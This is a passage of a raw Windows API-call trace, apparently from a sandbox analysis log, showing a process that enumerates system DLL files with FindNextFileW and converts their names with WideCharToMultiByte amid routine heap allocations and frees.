ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf9f1b122, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="adsldpc.dll", cAlternateFileName="")) returned 1 [0026.588] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.588] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.588] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x3ec288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDPC.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.588] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.588] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.588] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.588] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.588] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.588] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66b897d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf66b897d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="adsmsext.dll", cAlternateFileName="")) returned 1 [0026.588] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.588] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.588] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSMSEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.588] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.588] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.588] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.588] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.589] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.589] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad634c2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfad634c2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dcf4280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3fa00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="adsnt.dll", cAlternateFileName="")) returned 1 [0026.589] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.589] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.589] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x3ec288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSNT.DLL", lpUsedDefaultChar=0x0) returned 9 [0026.589] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.589] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.589] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.589] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.589] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.589] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc81ff4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2fc81ff4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf1def050, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa6200, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="adtschema.dll", cAlternateFileName="")) returned 1 [0026.589] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.589] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0026.589] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x3ec120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADTSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 13 [0026.589] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.589] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.589] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.589] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.589] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.589] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0ed0e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c600, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="advapi32.dll", cAlternateFileName="")) returned 1 [0026.589] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.589] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.589] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x3ec288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVAPI32.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.589] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.589] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.589] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.589] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.589] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.589] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0777c0d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa0777c0d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7de49f40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="advpack.dll", cAlternateFileName="")) returned 1 [0026.589] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.590] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.590] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVPACK.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.590] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.590] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.590] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.590] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.590] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.590] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e862c71, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x5e862c71, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7de71040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="aecache.dll", cAlternateFileName="")) returned 1 [0026.590] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.590] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.590] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x3ec288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AECACHE.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.590] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.590] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.590] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.590] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.590] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.590] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c6f412, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x79c6f412, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xf1f20320, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="aeevts.dll", cAlternateFileName="")) returned 1 [0026.590] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.590] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.590] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x3ec120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AEEVTS.DLL", lpUsedDefaultChar=0x0) returned 10 [0026.590] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.590] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.590] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.590] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.590] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.590] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994413f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2994413f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e0609f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="AltTab.dll", cAlternateFileName="")) returned 1 [0026.590] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.590] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.590] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x3ec288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALTTAB.DLL", lpUsedDefaultChar=0x0) returned 10 [0026.591] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.591] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.591] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.591] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.591] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.591] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a29ac8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a29ac8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a29ac8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="amstream.dll", cAlternateFileName="")) returned 1 [0026.591] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.591] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.591] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMSTREAM.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.591] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.591] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.591] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.591] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.591] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.591] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76fcd8be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x76fcd8be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e0853e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="amxread.dll", cAlternateFileName="")) returned 1 [0026.591] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.591] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.591] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x3ec288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMXREAD.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.591] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.591] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.591] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.591] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.591] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.591] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41bceeb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xd41bceeb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e4d7330, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a8c00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="apds.dll", cAlternateFileName="")) returned 1 [0026.591] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.591] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.591] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x3ec120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APDS.DLL", lpUsedDefaultChar=0x0) returned 8 [0026.591] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.591] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.592] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.592] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.592] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.592] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf21dc5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf21dc5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.592] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.592] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0026.592] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x3ec288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0026.592] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.592] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.592] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.592] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.592] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.592] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cefbc66, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cefbc66, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.592] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.592] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0026.592] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, 